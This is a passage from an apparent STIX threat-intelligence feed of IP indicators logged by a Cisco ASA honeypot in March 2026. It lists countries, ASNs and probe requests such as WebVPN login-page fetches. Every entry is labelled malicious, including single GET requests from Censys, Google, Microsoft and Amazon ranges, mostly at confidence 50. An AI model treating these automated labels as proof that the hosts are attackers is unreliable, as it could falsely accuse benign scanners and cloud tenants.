          "first_seen": "2026-03-17T07:46:17.280Z",
          "last_seen": "2026-03-17T07:46:17.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f5125f37-6596-49de-a7fa-54debf14937f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T07:46:03.541Z",
          "last_seen": "2026-03-17T07:46:03.541Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SE; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--19b56ff7-d5b7-4dcf-8e24-acff27ff989e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:20:07.000Z",
      "valid_until": "2026-04-18T08:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:19:48.301Z",
          "last_seen": "2026-03-17T08:19:48.301Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--c1a85d5a-4b46-4025-acbe-902d5ad4fcb1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:20:13.000Z",
      "valid_until": "2026-04-18T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:21:53.485Z",
          "last_seen": "2026-03-17T08:21:53.485Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--9fa1a45c-74b3-44b6-8291-cf53453e3425",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:20:13.000Z",
      "valid_until": "2026-04-18T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:20:38.286Z",
          "last_seen": "2026-03-17T08:20:38.286Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--48f3cbea-93bd-4c9e-84ce-ba8501dd051e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:20:13.000Z",
      "valid_until": "2026-04-18T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:21:28.702Z",
          "last_seen": "2026-03-17T08:21:28.702Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--528d959e-23bc-4db2-a88f-db136a92ced0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:20:13.000Z",
      "valid_until": "2026-04-18T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T08:21:56.008Z",
          "last_seen": "2026-03-17T08:21:56.008Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: HEAD / HTTP/1.1\" 200 - geo: US; ASN 31898 (Oracle Corporation)",
      "id": "indicator--831e092c-7c87-4cf3-a3e6-af79130c293d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '170.9.240.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:20:07.000Z",
      "valid_until": "2026-04-18T10:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T09:43:40.587Z",
          "last_seen": "2026-03-17T09:43:40.587Z",
          "country": "United States",
          "country_code": "US",
          "asn": 31898,
          "as_org": "Oracle Corporation",
          "event_types": [
            "\"HEAD / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T10:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--8d6e3cf5-e693-4d88-8852-652b71454511",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:20:07.000Z",
      "valid_until": "2026-04-18T10:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-17T09:53:28.961Z",
          "last_seen": "2026-03-17T09:53:28.961Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T11:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 9465 (AGOTOZ PTE. LTD.)",
      "id": "indicator--91d6d891-f837-4d53-903c-a08d6e4b0b52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T11:20:06.000Z",
      "valid_until": "2026-04-18T11:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-17T11:02:55.267Z",
          "last_seen": "2026-03-17T11:03:04.120Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 9465,
          "as_org": "AGOTOZ PTE. LTD.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T12:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--258b4091-8c64-4cb6-9634-395f508293b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:20:06.000Z",
      "valid_until": "2026-04-18T12:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T12:05:07.144Z",
          "last_seen": "2026-03-17T12:05:10.147Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T12:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: UA; ASN 214403 (Layer7 Networks GmbH)",
      "id": "indicator--ed3d5336-c227-44c5-8a69-9588c7d4a916",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.83.36.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:20:06.000Z",
      "valid_until": "2026-04-18T12:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-17T11:29:48.158Z",
          "last_seen": "2026-03-17T11:29:52.195Z",
          "country": "Ukraine",
          "country_code": "UA",
          "asn": 214403,
          "as_org": "Layer7 Networks GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /HNAP1/ HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T15:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--0a246e32-97f1-44d4-91ed-6782e97e8e57",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:20:06.000Z",
      "valid_until": "2026-04-18T15:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T14:30:14.962Z",
          "last_seen": "2026-03-17T14:30:17.965Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T15:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--66e624f4-6148-44f5-8128-9fe1f00b956b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.101.243.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T15:20:06.000Z",
      "valid_until": "2026-04-18T15:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T15:11:03.315Z",
          "last_seen": "2026-03-17T15:11:12.293Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 396982 (Google LLC)",
      "id": "indicator--b264a20d-3898-4ba6-befb-bd341d0869fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.89.187.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:20:13.000Z",
      "valid_until": "2026-04-18T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-17T15:46:43.537Z",
          "last_seen": "2026-03-17T15:46:45.439Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T19:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: TH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--80245ad1-b035-4256-adb5-7662512a34df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '118.194.251.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T19:20:13.000Z",
      "valid_until": "2026-04-18T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 32,
          "first_seen": "2026-03-17T18:54:02.798Z",
          "last_seen": "2026-03-31T18:00:45.975Z",
          "country": "Thailand",
          "country_code": "TH",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--93470e2f-89cf-4a0e-b00c-6363d420002d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '136.144.35.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:20:13.000Z",
      "valid_until": "2026-04-18T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 565,
          "first_seen": "2026-03-17T19:33:59.905Z",
          "last_seen": "2026-03-24T16:48:59.263Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--12686d89-9843-4e05-9dc9-036294b22b66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.150.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:20:13.000Z",
      "valid_until": "2026-04-18T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-17T19:40:02.845Z",
          "last_seen": "2026-03-25T19:29:31.177Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-17T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--a3f7f145-e0c4-421a-8868-e2c527cafc66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T20:20:13.000Z",
      "valid_until": "2026-04-18T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-17T20:07:06.079Z",
          "last_seen": "2026-03-17T20:07:31.461Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /login/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--6edf90db-c1a0-4fae-aa3d-c00fc65e26d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.208.191.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:20:13.000Z",
      "valid_until": "2026-04-19T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-18T00:55:32.703Z",
          "last_seen": "2026-03-18T00:55:35.706Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d2c72d93-36a0-43e6-8c78-81a428fa8d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.90.2.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:20:13.000Z",
      "valid_until": "2026-04-19T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T00:54:42.467Z",
          "last_seen": "2026-03-18T00:54:42.467Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--befa0b6c-c2b3-43e0-a781-39e2670561e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.87.171.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T01:20:13.000Z",
      "valid_until": "2026-04-19T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-18T00:54:12.981Z",
          "last_seen": "2026-03-18T00:54:12.981Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-18T05:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--3d5b83eb-cefc-4117-b651-df402d07a7cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
